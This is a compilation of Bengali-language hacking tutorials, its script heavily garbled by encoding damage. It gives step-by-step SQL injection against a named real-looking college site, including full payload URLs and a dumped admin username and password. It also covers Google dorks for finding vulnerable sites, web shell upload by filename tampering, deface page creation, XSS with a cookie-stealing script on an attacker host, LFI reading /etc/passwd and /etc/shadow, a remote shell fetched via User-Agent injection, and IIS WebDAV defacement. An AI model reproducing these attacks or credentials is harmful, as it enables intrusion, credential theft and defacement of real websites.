এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
